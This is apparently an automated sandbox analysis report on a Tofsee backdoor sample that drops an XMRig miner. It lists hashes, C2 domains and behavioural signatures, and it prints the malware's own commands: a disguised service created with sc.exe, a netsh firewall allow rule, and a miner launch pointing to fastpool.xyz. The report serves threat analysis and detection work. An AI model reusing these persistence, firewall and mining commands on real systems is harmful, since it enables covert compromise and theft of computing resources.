Analysis

  • max time kernel
    163s
  • max time network
    180s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/11/2022, 01:55

General

  • Target

    39463629c56d05149e86af5193203c5485472182335babcb17afef1aa99a3118.exe

  • Size

    144KB

  • MD5

    43826e3ce5daed8562f94b1ef7b7b507

  • SHA1

    b438d11f384aed10c44469c2b6ff0ca45273256e

  • SHA256

    39463629c56d05149e86af5193203c5485472182335babcb17afef1aa99a3118

  • SHA512

    2750166942c21217d9ea27d579bec79755ee140020dac22d22efd2fe5b014e343f5822403cc0d062f2e54d7b1b891386258650bee1d59c6c4f75c9c559348089

  • SSDEEP

    3072:pOrvheZFMbyaS+56vE8FnnCuHqh9IbfkwMSfozOM5:ovDbya38FnxHbbKz

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\39463629c56d05149e86af5193203c5485472182335babcb17afef1aa99a3118.exe
    "C:\Users\Admin\AppData\Local\Temp\39463629c56d05149e86af5193203c5485472182335babcb17afef1aa99a3118.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3692
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nfsvehwh\
      2⤵
        PID:1148
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\smowsmsl.exe" C:\Windows\SysWOW64\nfsvehwh\
        2⤵
          PID:1408
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nfsvehwh binPath= "C:\Windows\SysWOW64\nfsvehwh\smowsmsl.exe /d\"C:\Users\Admin\AppData\Local\Temp\39463629c56d05149e86af5193203c5485472182335babcb17afef1aa99a3118.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4120
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nfsvehwh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nfsvehwh
          2⤵
          • Launches sc.exe
          PID:3028
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1692
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3692 -s 1240
          2⤵
          • Program crash
          PID:2912
      • C:\Windows\SysWOW64\nfsvehwh\smowsmsl.exe
        C:\Windows\SysWOW64\nfsvehwh\smowsmsl.exe /d"C:\Users\Admin\AppData\Local\Temp\39463629c56d05149e86af5193203c5485472182335babcb17afef1aa99a3118.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4048
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:884
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1380
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4048 -s 512
          2⤵
          • Program crash
          PID:5104
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3692 -ip 3692
        1⤵
          PID:3144
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4048 -ip 4048
          1⤵
            PID:4220

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\smowsmsl.exe

            Filesize

            10.2MB

            MD5

            a6dc973ec9dbb44d24e07d9c3b2141c3

            SHA1

            8df7de86cb08326d25345fe7d352335c05a6dc54

            SHA256

            3e31a0732ecfd16bbe6fd0379dc5af7b75bb681cf6f460231872e972a24d5b96

            SHA512

            438bb5937c56df8a0948efb62487008586da7c30d10ef42b729216d6f4cb18f151a15cc1b04a7c6654b0b2c507a21bb16ad7662a41f6f1209a4bfd0bce8e99ac

          • C:\Windows\SysWOW64\nfsvehwh\smowsmsl.exe

            Filesize

            10.2MB

            MD5

            a6dc973ec9dbb44d24e07d9c3b2141c3

            SHA1

            8df7de86cb08326d25345fe7d352335c05a6dc54

            SHA256

            3e31a0732ecfd16bbe6fd0379dc5af7b75bb681cf6f460231872e972a24d5b96

            SHA512

            438bb5937c56df8a0948efb62487008586da7c30d10ef42b729216d6f4cb18f151a15cc1b04a7c6654b0b2c507a21bb16ad7662a41f6f1209a4bfd0bce8e99ac

          • memory/884-154-0x00000000001A0000-0x00000000001B5000-memory.dmp

            Filesize

            84KB

          • memory/884-164-0x00000000025D0000-0x00000000025D5000-memory.dmp

            Filesize

            20KB

          • memory/884-153-0x00000000001A0000-0x00000000001B5000-memory.dmp

            Filesize

            84KB

          • memory/884-155-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/884-158-0x0000000000C80000-0x0000000000C86000-memory.dmp

            Filesize

            24KB

          • memory/884-170-0x00000000025E0000-0x00000000025E7000-memory.dmp

            Filesize

            28KB

          • memory/884-149-0x00000000001A0000-0x00000000001B5000-memory.dmp

            Filesize

            84KB

          • memory/884-161-0x0000000001730000-0x0000000001740000-memory.dmp

            Filesize

            64KB

          • memory/884-167-0x0000000006F40000-0x000000000734B000-memory.dmp

            Filesize

            4.0MB

          • memory/1380-179-0x00000000006A0000-0x0000000000791000-memory.dmp

            Filesize

            964KB

          • memory/1380-174-0x00000000006A0000-0x0000000000791000-memory.dmp

            Filesize

            964KB

          • memory/3692-146-0x00000000005AD000-0x00000000005BD000-memory.dmp

            Filesize

            64KB

          • memory/3692-147-0x0000000000400000-0x000000000045A000-memory.dmp

            Filesize

            360KB

          • memory/3692-132-0x00000000005AD000-0x00000000005BD000-memory.dmp

            Filesize

            64KB

          • memory/3692-134-0x0000000000400000-0x000000000045A000-memory.dmp

            Filesize

            360KB

          • memory/3692-133-0x0000000000520000-0x0000000000533000-memory.dmp

            Filesize

            76KB

          • memory/4048-152-0x0000000000400000-0x000000000045A000-memory.dmp

            Filesize

            360KB

          • memory/4048-145-0x0000000000400000-0x000000000045A000-memory.dmp

            Filesize

            360KB

          • memory/4048-144-0x00000000005A0000-0x00000000005B3000-memory.dmp

            Filesize

            76KB

          • memory/4048-143-0x0000000000729000-0x0000000000739000-memory.dmp

            Filesize

            64KB